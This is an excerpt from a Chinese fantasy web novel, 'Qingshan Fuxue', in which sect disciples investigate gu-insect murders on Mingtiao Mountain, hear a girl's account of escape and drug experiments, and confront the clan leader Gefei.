那个小孩儿离开深塘坞时仅仅只有七岁而已,而距离那个任务也只是过去了大半年的时间,按理来说她现在顶多也就八岁罢了。 可是,站在众人面前的这个姑娘,怎么看都像是十三四岁的模样。 这时,冬苓忍不住追问道:“鸣蜩山的任务???” 她并没有参与深塘坞的任务,自然也就不认识邱漓这个人。 因此她的第一反应便是针对邱漓刚才所说的话语产生了不解。 邱漓点了点头,并未觉得自己所说有何不妥。 “之前也来过几批人,但是他们有的死了,有的失踪了,有的则被关起来了。” “可我们......” 还没等冬苓把话说完,江挽突然开口打断道:“被关在何处?” 江挽知道,眼下的重点并不是讨论他们接到的任务是哪个,而是先理清楚整件事情的来龙去脉。 或许,蒲月山庄和鸣蜩山本就是同一个任务,只是被不同的人上报了上去。 而蒲月山庄又同鸣蜩山挨得近,若是鸣蜩山的问题不彻底解决,那么即便是将山庄内的蛊虫都处理干净,也只是治标不治本。 “族长家。” 邱漓说着话,迅速地弯下腰,伸手往桌子底下摸索起来。 不一会儿,只见她小心翼翼地掏出了一张泛黄的图纸。 展开之后,整个鸣蜩山的轮廓清晰可见,就连山脚下的蒲月山庄也被准确无误地描绘在了其中。 邱漓用手指轻轻地点在手绘地图的一个位置上,说道:“我们现在就在这个地方。” 接着,她的指尖缓缓移动,停留在另一个标注明显的点上,继续解释道:“而族长家就在这里。” “之前我曾跟踪过那些来做任务的弟子,发现他们自打进入了这座宅子以后,就再也没有出来过。” 说罢,她又仔细地沿着几条可能的行进路线比划了一番,以便能更清楚地向大家说明情况。 一直在静静聆听的江洵,此时抬起眼眸,凝视着邱漓,开口问道:“那么,你的目的是什么呢?” 这几日,山下已经发生了如此之多的命案,而所有的线索都明确地指向了这里。 按常理来说,此地的族人不可能对此一无所知。 可眼前这位女子,暂且先当她也是鸣蜩山之人。 可身为山中族人,不仅私下里调查鸣蜩山的族长,更是胆大妄为地一纸状书将其直接告到了中律司。 这一系列举动实在让人觉得匪夷所思、不合常理。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!就在丘漓沉默之际,那位身形佝偻的婆婆正颤巍巍地端着一壶热茶朝这边走来。 邱漓见状,赶忙站起身迎上去,双手接过婆婆手中的茶壶。 随后,她扶着婆婆在一旁的椅子上慢慢坐好,示意婆婆不用再忙前忙后了。 “这是雾花茶,呜蜩山常年有雾。唯有春末夏初时节,这花儿才会在没雾的地方绽放。等摘下晒干后封存几月余,届时再拿出泡茶喝对身子有益。” 邱漓微笑着介绍完,紧接着就自己先端起一杯尝了一口。 她这么做,其实也是在暗暗向其他人示意,这茶没有毒,大家可以安心饮用。 而后,她稍稍停顿了一下,接着说道:“我并非土生土长的鸣蜩山人氏,因此诸位大可不必对我的身份心存疑虑。” 说到这里,她的脸上浮现出一丝愤愤不平之色,“自从格非登上族长之位后,山中雾气就变得愈发浓重起来,村子里莫名死掉的人更是与日俱增!” 她看不惯格非的不作为,缘何村里死人了她身为一族之长却什么都不管? 可当她打算找那人理论的时候,发现有些尸体都是从她府中往外运出的。 她顿时就联想到,或许那些人的死因同格非有关,于是趁着没人注意的时候偷摸的溜下了山。 愣是试了好几次,才成功的找到了中律司的位置,将状纸投了进去。 就在邱漓滔滔不绝讲述的时候,坐在一旁的江洵伸手端起了身前的那杯雾花茶,眼看着就要送到嘴边喝下去。 可说时迟那时快,他手中的茶杯忽地被身旁的傅霖一把给抢了过去。 “你懂不懂礼貌啊?师兄都没喝,你就开始先喝了?” 听到这话,江洵先是愣了一下,随后又重新端起另一杯茶水,毕恭毕敬地递到了江挽面前。 “师父请用茶。” 江挽不动声色地看这二人的一举一动,心里跟明镜儿似的,但并未多嘴说些什么。 当接过水杯时,她轻声询问邱漓:“然后呢?前来调查的人可曾发现什么有用的线索?” 丘漓叹了口气,脸上透露着失望之色。 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第129章 德不配位 “第一批到来的人甚至都没踏入山中,在山脚下的时候便中了蛊毒。” “而后陆续赶来的两批人,有的在选择路径的时候出了差错,一去不复返;有的则是吸入了太多雾气,不治身亡了。” 稍稍停顿片刻之后,邱漓又补充道:“就在你们到来之前,还有另外一批人,就是昨天抵达这里的那一群人......” 昨天,她亲眼看到那群人中有个武功很好的姐姐带着其他人进了格非家中,可奇怪的是,直到现在,都没看到那个姐姐出来的身影。 恐怕,也是凶多吉少了。 秦在锦此时也算是听明白了事情的来龙去脉,开口问道:“如此说来,你之所以在山脚下等着,是担心后续前来的人员会遭遇不测?” 邱漓默默地点了点头,表示默认。 “那走呗。” 秦在锦将杯中的茶水饮尽,站起了身。 他们仨出门做任务,向来都是身子在前跑,脑子在后追。 管他三七二十一,先上了再说。 起初江洵还会冷静地劝他们二人要三思而后行,可回回都被他俩气的说不出话来。 所有的筹谋放在他们身上都是白搭,总有一个会耐不住性子二话不说就冲上去揍人。 几人起身准备离开的时候,邱漓同婆婆告别后也跟了上来。 “你跟着做什么?快回去。” 秦在锦说道,他可不认为邱漓能帮上什么忙。 而且,万一打起来,是帮她还是不帮她? “自然是保护你们啊。”邱漓想也没想的就回道。 “哈??你保护我们?” “对啊!实不相瞒,今年的比蛊大会中,我是魁首。” 邱漓说这话的时候,面无表情,好似不是什么稀罕事儿,说出来也只是为了让他们相信她罢了。 “你实话实说,你们村是不是就你一个人参赛了?”傅霖调侃道。 邱漓愤恨地看了一眼傅霖,好,这个人,她记下了。 “魁首......那你养的蛊虫岂不是很厉害。”江挽侧头问道。 邱漓皱起眉头,思考了一瞬,而后回道:“这个么......大抵是很厉害的,毕竟只要是比赛,我都能夺魁首。” 江洵听到这话,目光审视了一下邱漓。 其实说实话,他并没有万分的把握来确认眼前的姑娘就是他们之前所听闻的那位。 毕竟在深塘坞之时,他们之中没有人真的亲眼见过邱漓长什么样子。 更不用说此地与深塘坞有些距离,饶是骑马也需两日,如此一来,倒是同名同姓的可能性会更大一些。 等一下......邱沄当时说什么来着? 邱漓的手腕处有个梅花印? 方才江挽松开她手腕上那条白纱的时候,他往那儿匆匆瞥了一眼,确实是有个印记。 只是还没来得及看清是什么形状的,就被垂下来的衣袖遮住了。 罢了,与其自己在这胡思乱想的,不如直接开口问。 “你知道深塘坞这个地方吗?或者说,你是深塘坞的邱漓还是鸣蜩山的邱漓。”江洵垂眸问道。 听到这话,邱漓如同被施了定身咒一般,猛地顿住了脚步。 她缓缓抬起头,那双漆黑如墨的双眸紧紧锁定在江洵身上。 江洵迎着她的目光,神色坦然且坚定,“你不用怀疑我的身份,更不必去猜忌我此言究竟有何用意。深塘坞的任务已然结束,邱沄也一直在等你回家。” 他知道自己猜对了,上前一步继续说道:“只是有一点我不明白,为何你如今的身高与容貌看起来并不像八岁的稚童。” 江洵这番话逐渐打消了邱沄心中的疑虑和猜忌。 只见她那紧皱的眉头终于慢慢松弛开来,整个人仿佛卸下了千斤重担般轻松了许多。 她是邱漓——那个从深塘坞成功出逃的“孤魂野鬼”。 她其实自始至终都没有想过要离开深塘坞,哪怕她清醒的知道前七名孩子的下场不过是生命的终结。 其实根本没有什么所谓的坞神,实现自己的心愿也只是在骗骗小孩。 事实不过是用自己的性命当做祭品,然后献给那位所谓的神灵。 她平日里完全可以让自己表现的笨一些,或者在考核的时候故意多错几道题。 可是这样一来,与亲眼看着别的小朋友去送死有何异? 相比起院子里其他的小孩儿来说,她已经足够幸运了, 因为她见过许多次自己的亲人了,甚至因为聪明伶俐的原因,她能轻而易举的得到了许多人的偏爱。 她不怕死,也不怕失去。 这小小的一方天地,没有一草一木、一砖一瓦值得她留恋。 所以她从不刻意地遮掩自己的锋芒,甚至还会放大自己的光亮。 她偏偏要站在最高的位置,她偏偏要拿第一名,她就是要让山下那些庸俗之人都看到她,都知道她。 她甚至还撞见过围墙上的那只九爪鱼,只是那小怪物的神情在她看起来十分可怜。 只因它看向她的眼神是躲躲闪闪的,甚至最终还落荒而逃。 这章没有结束,请点击下一页继续阅读!这就是人们口口相传的那位......掌管着深塘坞生杀大权的坞神? 看来......也不过如此。 祭祀将近,她获得了坞会的允许,去见了娘亲的最后一面,而后又快速赶回家中。 只是在她还未看到爷爷的身影时,就被守在井边等她回家的姐姐拦住了。 邱沄一脸严肃地告诉她,一切都已经安排妥当。 只要她坐后山的客船悄悄离去,便能彻底逃离这个是非之地。 然而,她却想也没想地拒绝了,她不打算临时当逃兵。 且不说自己这一走会不会连累到自己的家人,就单说献祭名单已经公布,她若是此时离开,那么献祭的人数就不足七人。 也就是说,那空缺的位置,需要另一人替补进去。 这不是明摆着在害人嘛! 而且她也能猜得到,替补的人极有可能就是吴悠。 那孩子本就因为不聪明而没少被其他人刁难和冷落,等过了这一劫,她日后的生活定不会再那么难熬。 可是,邱沄并没有放弃劝说。 她紧紧握住邱漓的手,语重心长地说道:“阿漓,你听我说。你逃出去以后去寻中律司帮忙,但切记一定要找距离此地较远的中律司,然后把这里所发生的一切原原本本地向他们讲清楚。” “我知道你在顾虑什么,但是你再仔细想想,是拯救一个孩子的生命重要,还是拯救这里所有人的生命重要?” “可是小展他......” 他还在等着我回去同他道别。 邱沄轻轻叹了口气,安慰道:“你放心,小展那边我会同他说清楚的,等风头过去了,我会送他逃出去的。” 说话间,邱沄不由分说地拉起邱漓便朝外面走去。 很快,她们来到了一艘陌生的客船上。 邱沄将早已准备好的包袱递给了妹妹,里面装了沉甸甸的钱袋子、干净整洁的换洗衣物,还有一张绘制好的逃跑路线图。 邱沄轻轻地抚摸着妹妹的头发,温柔地叮嘱道:“等找到靠谱的中律司,并派人手前来处理此事后,我就接你回家。在此期间,你一定要照顾好自己,千万不要乱跑。” 说完这些话,邱沄才缓缓松开了紧握着妹妹的双手,目送着那艘客船渐渐远去…… 到了岸边后,她拼尽全力地奔跑着,汗水湿透了衣裳,脚下的步伐不敢有丝毫停歇。 就在她慌不择路地逃窜时,那张至关重要的地图和烧饼不慎从手中滑落,被附近的恶犬叼进了嘴里。 失去了地图的指引,她顿时陷入了迷茫和无助之中。 望着四周陌生的道路和景象,她完全不知道该往哪个方向走才能找到靠谱的中律司。 不知过了多久,正当她感到绝望之际,前方出现了一个身影。 那是一名年轻的公子,他身着一袭白色长袍,身姿挺拔如松,面容俊美如画。 尤其是他那双温柔的眼眸,犹如闪烁的星辰,而在他眼尾下方,还点缀着一颗小小的黑痣。 笑起来的时候,像只......像只白绒绒的兔子。 这位公子看到狼狈不堪的她时,眼中流露出一丝关切之色。 他缓缓走上前,递给她一些食物和水,并轻声询问她是否需要帮助。 她感激涕零地接过吃食,狼吞虎咽起来。 在填饱肚子后,她终于恢复了些许力气,于是向那位好心的公子打听起中律司的位置来。 那人认真地倾听她的叙述,当得知她来自深塘坞并且经历了如此多的波折之后,不禁微微皱起眉头,脸上露出了心疼的神情。 他似乎有些震惊这世间竟还有这样一个剥夺他人生命及自由的地方存在。 随后,他从怀中掏出笔墨纸砚,将她所说的一切都详细记录下来。 写完之后,他表示自己会同她一起前往辛夷城的中律司。 听到这个消息,她心中一阵欢喜,连忙道谢不已。 可就在两人准备启程之时,一名侍从匆匆赶来,打断了他们的步伐。 尽管距离有些远,但邱漓还是隐约听到了侍从与那位公子之间的对话。 其中提到了什么“一元宗”、“夹竹桃”、“玉沙”以及“星回村”等字眼。 不过那时的她一心只想尽快赶到中律司,根本无暇顾及其他,所以对于这些词语背后所隐藏的含义没有过多在意。 那人谈话间皱起了眉头,似乎他们所谈论之事并不好解决。 最终还是决定将方才写好的书信交给邱漓,让侍从带着邱漓去一趟中律司,与此同时又给了她一些银两以作不时之需。 等一切都打点好以后,那位公子才急匆匆地策马离开。 邱漓将那封至关重要的书信放置在中律司以后,又不知该何去何从。 她不敢向旁人打听任何关于深塘坞的事情,她怕被人发现后带回去。 可她身上的钱财和干粮根本支撑不了多久,饥饿和紧张如影随形的跟着她。 最终,她因体力不支倒在路边。 本小章还未完,请点击下一页继续阅读后面精彩内容!等再次醒来时,自己已经躺在了一个陌生的床上。 而救她的人,就是如今鸣蜩山的族长——格非。 起初,邱漓以为格非是个人美心善的大姐姐,可谁知那人不过是另有所图罢了。 她就是看准了邱漓这种无依无靠、无家可归的人,所以才敢直截了当的把她救回来。 目的就是为了拿她来试药。 邱漓已经记不清自己到底喝了多少不清不楚的药,只觉得那段时间里,每日都过得浑浑噩噩,尤其是浑身上下的骨头犹如被千万只蚂蚁啃食一般疼痛难忍。 终于有一日,被她逮到了机会,趁着格非不在,而又无人看守的时候她跑了出去。 可她那副身体,根本走不了多远,最终倒在了一户人家的门前,也就是如今照顾她的婆婆。 每当旁人问起的时候,婆婆只是说邱漓是她一个远房亲戚,过来陪她住些时日。 可在这里生活的人,祖祖辈辈都是生于斯长于斯,哪来的什么远房亲戚? 不过大家也都看破不说破,嘴上附和着婆婆的话语,并没有再多问旁的。 随着时间推移,邱漓的身子逐渐好了一些,不用依靠拐杖也能下地走路了。 她知道自己的身体发生了变化,虽然家中没有镜子,但透过水面可以辨认出自己的容颜并非是七八岁的孩童。 她猜到这或许同格非喂她喝的那些药有关,但是没关系,如今这副面孔也挺好。 只是......若有朝一日回到深塘坞,姐姐和小展还能认出自己来吗? 某一日,她在村子里溜达的时候,撞见了迎面而来的格非。 只是那人摇身一变,已然成了这里的族长。 邱漓想找个地方躲起来,生怕这人在二话不说的把自己抓回去试药。 可那人看她的目光竟毫无波澜,仿佛从未见过自己一般。 不过想来也对,自己不过是她众多试药员中的一个,再加上自己如今样貌和身高有所改变,那人不记得自己也很正常。 然而,也就是从那一天开始之后,格非常常传唤她前往自己的居所,说要亲自教她巫蛊之术。 每当她学完回到家中,婆婆总是贴心地为她冲泡上一壶雾花茶,并语重心长地叮嘱她,出门在外多留个心眼儿。 不得不说,她的学习能力堪称惊人,进步速度极快。 不过对此,她并未感到丝毫的惊讶与自得。 第一而已,天赋而已,于她而言,那不是同吃饭喝水一样简单? 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第130章 波澜不惊 格非见状显然对她寄予厚望,有意将其栽培成自己的接班人。 不仅如此,就连族中长老也纷纷夸赞她的蛊虫养的极好。 若非她年龄尚幼,且身世来历不明,恐怕用不了太长时间,这一族之长的位置就要易主了。 秦在锦好奇地询问道:“待此次任务完成之后,你可有什么具体的打算?是否要回深塘坞?” 鸣蜩山终究不是长久之地,丘漓也不是会一直待在这里的人。 只是如今的深塘坞早已物是人非,那的人要么锒铛入狱;要么分散在各地的中律司。 怕是只有少数人,还留在那处吧。 听到这话,邱漓缓缓说道:“我暂时不打算回深塘坞,届时我会写一封书信寄给阿姐,好让她知晓我的近况。至于接下来究竟要去往何处,我还未思考清楚。” 因为她深知,如果一旦回去,恐怕就很难再有闯荡江湖的机会了。 而且,深塘坞以外的世界太广阔了。 原来天空是一望无际的,不是四四方方的。 原来小鸟是展翅飞翔的,不是困于囚笼的。 原来花朵是五彩斑斓的,不是非黑即白的。 原来……原来她也可以是自由的。 “要不跟着姐姐走?”冬苓探头问道。 她们玉沙……呸!她们相月山这些时日也缺人呢。 “姐姐是中律司的人?”邱漓好奇的回问。 “啊?你想去中律司啊?我同你讲!那地方眼下可不太平,最好别去。” 且先不提中律司当下正处于全面休整的阶段,单说这过去半年时间里所收到的举报信,就让人不禁感叹中律司内部的水深似海。 似乎所有事情皆是从那深塘坞的任务起始,而后便如同滚雪球一般越滚越大。 越来越多的中律司人员纷纷被揭露出行贿受贿、贪污腐败之举,更有甚者,竟然为了侵吞奖赏而蓄意抬高任务的难度系数。 面对如此状况,中律司一开始并未予以足够重视。 而随着时间推移,投诉中律司职员德行与职位不相匹配的声音却是愈发响亮起来。 不仅众多门派弟子义愤填膺地前来控诉,就连普通百姓们也是怨声载道。 头脑清醒之人皆能够察觉到,在此事件背后定然有着一只看不见的手在暗中推波助澜,操控着整个局面的发展走向。 只可惜,即便是找出了那位幕后推手,恐怕亦是难以彻底解决问题。 因为归根结底,这些劣迹斑斑的行为都是确凿无疑地真实存在着,中律司当中某些大权在握的职员确实辜负了百姓对他们的信任与期望。 值此关键时刻,就连原本已逐渐淡出人们视野的南宫靖都不得不挺身而出,亲自出山来主持大局。 他担忧儿子南宫珩年轻气盛,阅历尚浅,唯恐其难以招架得住这般场面。 “嗯......其实去哪都行,只要是自由的就行。”邱漓笑盈盈地说道。 少女的眼眸中闪着星光,盛着对未来无限的期望。 “自由……”秦在锦琢磨着这两个字,而后嘴角微微上扬。 只见他随手一巴掌拍在江洵的背上,对邱漓说道:“那你可以去献岁阁投奔咱们洵哥儿,他们三阁可是最自由的了!” 何止自由,还没门槛儿,瞅瞅这一大家子上有老下有小的。 任谁看了都不觉得这是一个门派该有的样子。 江洵听到这话白了一眼秦在锦,咬牙切齿道:“怎么你们阳春门是吃不起饭了吗?这么容不得人。” 江挽在这儿,收不收人还轮不到他来做主。 况且,三阁已经有赵玉州这么一个小屁孩儿了,再收进来一个,不知道的还以为他们三阁是慈幼局呢。 “阳春门都是我姐姐说了算,而且入门后五年日日都要待在医馆,你觉得她愿意乖乖待着么?” 秦在锦立马反驳道,说完还不忘再添两句。 “再说了!!人家要自由!!!你懂什么是自由吗?读没读过书?” 一个刚从高门大院儿里逃出来没多久的人,怎么可能会心甘情愿的去另一个院子里再待上五年? 若她没有看过山海湖泊,没有看过车水马龙,或许她会接受自己这波澜不惊的一生。 可她看到了。 江挽快速思考了一下秦在锦的提议,问道:“你可会巫蛊之术?” 邱漓抬起头,盯着江挽的眼睛真诚地回道:“我会!姐姐可要留我?” 江挽这句话里所暗含的意思,她自然是听得明明白白,三阁不会平白无故接纳一个毫无用处之人。 如果自己能够展现出一定的价值和作用,或许江挽才有可能将她留下来。 “光说没用,得让我看到。”江挽回。 这次的任务着实棘手,原因无他,只因他们之中没有一人拥有应对蛊虫的经验。 以往执行的那些任务,大抵都是驱除妖邪、镇压鬼怪之类,早已驾轻就熟、游刃有余。 可是这回面对的是防不胜防的蛊虫,再加上鸣蜩山地形复杂多变。 这章没有结束,请点击下一页继续阅读!若想顺顺利利地完成任务并且全身而退的话,最好能有个熟悉当地情况且精通此道的本地人从旁协助。 倘若这小丫头真的有所作为,那么收归到三阁门下倒也未尝不可,说不定将来什么时候就能派上用场。 就这样,几人心照不宣的向前走着,同时警惕着周围的风吹草动。 经过这么一小段路程,他们算是大体摸清了究竟是什么东西在暗中监视着他们——几只行踪飘忽不定、时远时近的剧毒黄蜂。 格非所居住的宅邸在这个村子里倒显得有些格格不入,与周围简陋的房屋更是形成了鲜明对比。 尤其引人注目的是,府邸门前竟然还有几个身强力壮的男子正在来回巡逻。 这样的场景若放在上京城或者某个富贵人家的住所倒也不足为奇,但偏偏出现在这小村落之中,就显得格外突兀和怪异了。 这儿本就是同宗同源的族人聚居之地,彼此之间也都相互熟悉。 如今却还要派人专门看守大门,像秦在锦这些不知情的人还以为村里是不是进杀手了,要优先保护族长一家。 当一行人逐渐靠近府邸时,邱漓径直走向那几名守卫。 只见她面带微笑,礼貌地向其中一名看似为首的青年开口问道:“五哥,请问族长眼下是否在府上?” 那名被称作五哥的青年并没有立刻回答邱漓的问题,而是上下打量了一番江洵等人,眼神中透露出一丝疑惑和警觉,“这几位是什么人?” 邱漓闻言轻轻一笑,不慌不忙地解释道:“哦,他们都是从中律司过来的。” 说话间,她的语气十分坦然,丝毫没有想要刻意隐瞒这些人的身份。 毕竟在这种情况下,想瞒也是瞒不住的,一场冲突在所难免,既如此,又何必多此一举呢? 默不作声的冬苓听到邱漓如此直白地说出他们的来历,不禁笑出了声。 瞧瞧,行事比她鲁莽之人比比皆是。 五哥看傻子一样的看着丘漓,我难道不知道中律司是什么人? 问题的关键不是在于你为何把中律司的人往族长家带吗? 你当咱们族长是什么人?凡是来点儿人就得出门见见是吗? 你这丫头怎么胳膊肘往外拐??? 不对,你本来就不是我们鸣蜩山的姑娘。 “族长不在。” 五哥说着便向门前靠了过去,这意思是不打算放邱漓几人进去。 “可计叔说族长在找我问话啊。”邱漓回道。 五哥烦躁的“啧”了一声,“我说不在就是不在,我还能骗你不成?你改日......” “让他们进来吧。” 五哥这话还没说完,就被门内的声音打断。 “哦~这不是在嘛!”邱漓笑的一脸狡黠,随后招呼也不大的推门而入。 独留五哥站在原地生闷气。 几人紧紧跟在丘漓的身后,踏上通往二楼的楼梯。 这楼梯不仅陡峭异常,而且狭窄得令人咋舌,如此局促的设计实在与这偌大的宅院格格不入。 格非此刻正赤裸着双脚站在一块柔软的毯子之上,嘴里不时地哼唱着小曲儿,右手则轻柔地摆弄着面前的长生蛊。 这长生蛊可是个稀罕物,以千年灵芝为食,清晨朝露为饮。 如果将其作为药材炼制成为丹药,服下之后便可获得延年益寿、青春永驻的神奇功效。 “何事?” 说这句话时,格非甚至连头都未曾回转一下,仿佛完全没有把来人放在眼里。 邱漓恭恭敬敬地移步至一旁,小心翼翼地向格非解释起来:“他们是中律司派来的任务员,此次前来主要是想向您询问一些与命案相关的线索。” “什么命案?”格非闻言回过头来,正面直视来人。 这位女子生得极为精致秀美,宛如一件精雕细琢的瓷器人偶一般。 尤其是那双含情脉脉的眼眸,看向人时,眼角微微上扬,似笑非笑间流露出一种难以言喻的风情,让人不禁心生遐想。 就在她说完这番话之后,轻轻挥了挥手,示意身旁的侍女为客人奉上清茶。 而此时的傅霖,则不紧不慢地寻着合适的座位缓缓坐下,开口道:“食人蛊。” 这简短的三个字出口,格非眼底迅速闪过一丝不易察觉的诧异之色。 紧接着,她皱起眉头追问道:“食人蛊同命案又有什么关系?” “山下的蒲月山庄发现了几具尸体,其死因皆是食人蛊所致。今日冒昧前来叨扰,就是想要请教一下族长,对于此事您是否知晓些许内情?” 站在一旁的秦在锦见傅霖已然安然落座,便也二话不说坐在了傅霖的身旁。 即便有人指责此举欠缺礼数,想必也绝不会首先将矛头指向自己。 格非听闻此言后,微微一笑,语气坚定地回应道:“食人蛊的确是我鸣蜩山独有的蛊虫。但要提起虫子杀人一事,我并不知情。” 待茶端上来后,侍女动作轻柔将茶杯逐个放置在了他们面前的桌上。 本小章还未完,请点击下一页继续阅读后面精彩内容!只是,尽管茶香四溢,在座无一人饮用。 格非见此情形,似笑非笑地率先端起自己面前的茶杯轻啜了一口,而后缓缓开口道:“诸位这般谨慎,莫非是担忧我会在这茶中下毒不成?” 她的话语虽然带着几分调侃之意,但眼神却盯着众人的反应。 “是如此,又如何?” 傅霖的话音尚未完全落下,就将跟前儿的杯盏向前推了一下。 反正嘴巴长在他身上,既有质疑之权,亦有不饮之权。 秦在锦向前倾身,目光灼灼地凝视着格非,追问道:“既如此,族长可知那食人蛊已被带下山去?” 格非闻言,不慌不忙地将手中的杯子轻轻放回桌面,缓声道:“蒲月山庄的庄主——栾华,于我而言不是个善茬儿,我不会亦不想主动招惹麻烦。” 稍作停顿,她抬眼扫视了一圈在座之人,继续说道:“不过关于你们口中所提及的食人蛊,我倒是可以给你们透露出一条线索。” “就在上个月,有位商人前来寻我购买了一大批食人蛊,至于其具体用途嘛……我当时并未过多追问。” 听到这里,秦在锦不禁瞪大了眼睛,有些无语地反驳道:“如此重要之物,你竟然连其用途都未曾询问一下?” “公子,这种一手交钱一手交货的买卖,有什么好问的?再说了,纵使他是拿去害人,与我又有何干?难不成刀匠还要为杀手的所作所为负责?” 格非此番反驳有理有据,一时间竟让人挑不出毛病来。 “什么商人?样貌或者名字你可还记得?”江挽问道。 “样貌么......那人当日戴着面具,看不清楚长什么样子。至于名字,他也只说姓术。” 术!!! 术老板!!! 江洵和傅霖几乎同一时间看向对方,在招寿村买木偶的那个商人就是姓术。 那人究竟要干什么?不仅怂恿迎姗杀人剖心,还背地里操纵木偶杀人,如今又是利用蛊虫害人无数。 而且,此人不仅有钱还有充足的时间行事,由此可见,其并非只是单独一人。 江挽留意到江洵和傅霖的表情变化,便也明白了格非口中所说的商人并不一般。 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第131章 攻防兼备 “还有第二件事,昨日来到此地的那几位任务员,不知姑娘是否知晓他们现今身在何方?” 江挽目光如炬地盯着面前的格非,开口问道。 只见格非嘴角微微上扬,露出一抹淡淡的笑容,轻声回应道:“昨日……昨日并未有任何任务员前来呀。” 说罢,她的眼神清澈而坦然,仿佛所言句句属实。 江挽听闻此言,不禁双眸微眯,凝视着格非的神情变化,试图从中捕捉到一丝破绽或者异样。 然而,格非却只是耸了耸肩,脸上毫无惧色,显得无比坦荡,任由江挽用审视的目光打量自己。 过了片刻,格非忽然开口打破沉默:“你若是对我的回答心存疑虑,大可以随意搜查一番。” 话音未落,她便轻盈地转过身去,优雅地坐在了身后那张舒适的躺椅之上。 紧接着,又补充说道:“哦,对了!我家中尚有两间密室,一间位于楼梯口处,另一间则在书房之中。倘若各位仍觉不放心,尽可前往密室搜寻查看。” 站在一旁的秦在锦听到格非这番话语后,疑惑地皱起了眉头。 这世上怎会有如此坦荡之人?简直只差亲自领着他们前去搜索了。 想到此处,秦在锦下意识地转过头去,想要征求一下身旁江洵的意见。 但此刻的江洵低垂着头,似乎正在沉思什么,完全没有留意到他投来的目光。 “既然都这么说了,那就看看呗。” 江挽一边说着,一边缓缓地站起身来,轻拂去裙摆上的些许褶皱,迈步朝着门外走去。 一旁的冬苓见状,连忙紧跟其后,嘴里还急切地喊道:“姐姐等等我!” 这座府邸占地面积颇广,但房间数量却并不算太多。 因此,几人分头搜索,速度倒也挺快。 不一会儿工夫,他们便来到了那间密室前。 这密室看上去颇为简陋,空间狭小,一眼望去便能尽收眼底。 邱漓站在密室内,眉头微皱,目光紧盯着四周的布局。 不知为何,她总觉得这里有些不太对劲。 她本以为格非会将那些失踪的任务员关押在此处,再加上她自己也曾有过逃脱的经历,所以她先入为主的认为那些人被藏在这座府邸之中。 可是此刻静下心来仔细一想,她突然意识到事情恐怕并非如此简单。 虽说当时自己处于一种昏沉迷糊的状态,但每当勉强睁开双眼时,还是能够对周围环境留下一些模糊的印象。 如今回忆起来,那时所见的房间明显与眼前的密室截然不同——那里是可以见到温暖阳光的。 而这两间密室是直通地下的,除了昏暗的烛光照明,并没有任何一丝日光可以照射进来。 可想而知,她当初被关押的那个房间才极有可能是格非真正将人囚禁的地方。 况且,那时的格非还没当上族长,也就是说还没有真正住进这个院子里。 趁着没人注意的空档,她收回了之前埋伏在此地的线虫。 “怎么样?可有查到什么?” 格非静静地伫立在二楼的窗台边,微微俯身向前,右手托起那张精致的脸,目光悠然地朝着下方的几个人投去询问的眼神。 她之所以敢放任江洵一行人随心所欲地调查,自然是因为此处受得住他们细致入微的盘查。 早在他们踏入这片山林的瞬间,格非便已心知肚明。 那些毒蜂每隔半炷香的时间,就会如信使一般源源不断地传递回有关这几人的最新情报。 经过一番分析,对于这些人的修为状况,她心中已然大致有数。 在这五人之中,那位双目有疾的女子,是一行人里修为最为高之人。 而那位言行略显无礼的公子,想来其剑法有着不俗的造诣。 尤其是始终跟随在那名女子身侧的少年,虽然看似沉默寡言、话语稀少,但他的警惕性却是极高,时刻都处于戒备状态。 至于剩下的两个人,那位文质彬彬、一副书生模样的男子,大抵应该是一名精通医术的医者。 而另一位姑娘,乍一看上去有些冒失莽撞,可却有着极为深厚的灵力。 如此一来,这五人可谓是攻防皆备,要想轻易将他们拿下绝非易事。 更为棘手的是,还有个胳膊肘向外拐的邱漓。 不过嘛,正所谓“强龙难压地头蛇”,这鸣蜩山毕竟是属于她的地盘。 无论来者实力如何强大,在这里她都占着得天独厚的优势。 江挽闻声向上望了过去,她并不认为邱漓撒了谎,只不过能在短时间内将人转移,要么这里存在着她们还未看到的东西,要么那些人从一开始就不在这里。 二人的视线在一瞬间交汇,一个面色清冷,一个面带挑衅。 “姑娘这般盯着我看,倒让我有些好不意思。” 这人说话间,轻抬玉手,缓缓地将垂落在肩头的青丝拢至耳后。 此刻的她,神情显得有些慵懒,但却又不失那一抹令人心醉的妖娆之态。 本小章还未完,请点击下一页继续阅读后面精彩内容!对于格非所说的话,江挽并未予以理睬。 那双冷漠的眼眸迅速转移视线,开始仔细打量起这间密室来。 首先映入眼帘的,便是贴着墙的那面柜子。 上面密密麻麻地摆满了琉璃瓶子,这些瓶子形状各异,有的细长如管,有的圆润似球。 透过晶莹剔透的瓶身,可以清晰地看到里面分别装着形态各异的毒物:有蜿蜒爬行的毒蛇,张牙舞爪的蝎子,以及扭动身躯的蜈蚣等。 目光再转向旁边的一个柜子,上面整整齐齐地摆放着一排小巧玲珑的坛子。 由于坛子的材质并非透明,所以无法看清其中究竟装着些什么东西。 整个房间一眼望去便能尽收眼底,乍一看似乎并没有任何异样之处。 即便是使用蕴灵术,也未能察觉到一丝一毫的灵力波动。 莫非,他们要找的人当真的不在这里? 可是几个大活人又怎么可能平白无故地就消失不见? 挖坑埋尸? 但江挽很快便否定了这个想法,这座院子中的土地看上去都未曾有过被翻动过的痕迹。 尸体肢解之后再分批运送出去? 可这样做同样存在风险,一具尸体还好说,可若是接连几具,必然会引起他人的注意。 以邱漓的能力,不可能查不出其中的异常情况。 如此一来,这里必定还隐藏着某些他们尚未知晓的空间所在。 “师父,注意脚下。” 就在江挽刚刚抬脚准备继续往前迈步的时候,胳膊被人拽了一下。 只见江洵一脸紧张地站在身侧,伸出一只手拦住了她前行的道路。 顺着江洵手指的方向看去,一步之内地面上,赫然趴着一只体型硕大、浑身漆黑的蝎子! 那只蝎子静静地趴在那里,一动也不动,像在等待着什么时机一般。 与此同时,冬苓开口说道:“我已经仔细检查过周围了,并没有查到任何开关。” 早在她一踏进这个密室的时候,便已经开始留意是否存在什么未知的空间。 于是,凡是有可能隐藏开关的地方,她几乎都用手摸索了一遍,但最终一无所获,没有察觉到丝毫异样之处。 不仅如此,她还考虑过是不是这密室下面还有密室。 可她将这屋子里每一寸土地都踏足过,无论脚步落在何处,所发出的声响都毫无差别,根本无法判断出地下是否别有洞天。 “奇怪,这儿怎么会莫名其妙出现一只蝎子呢?” 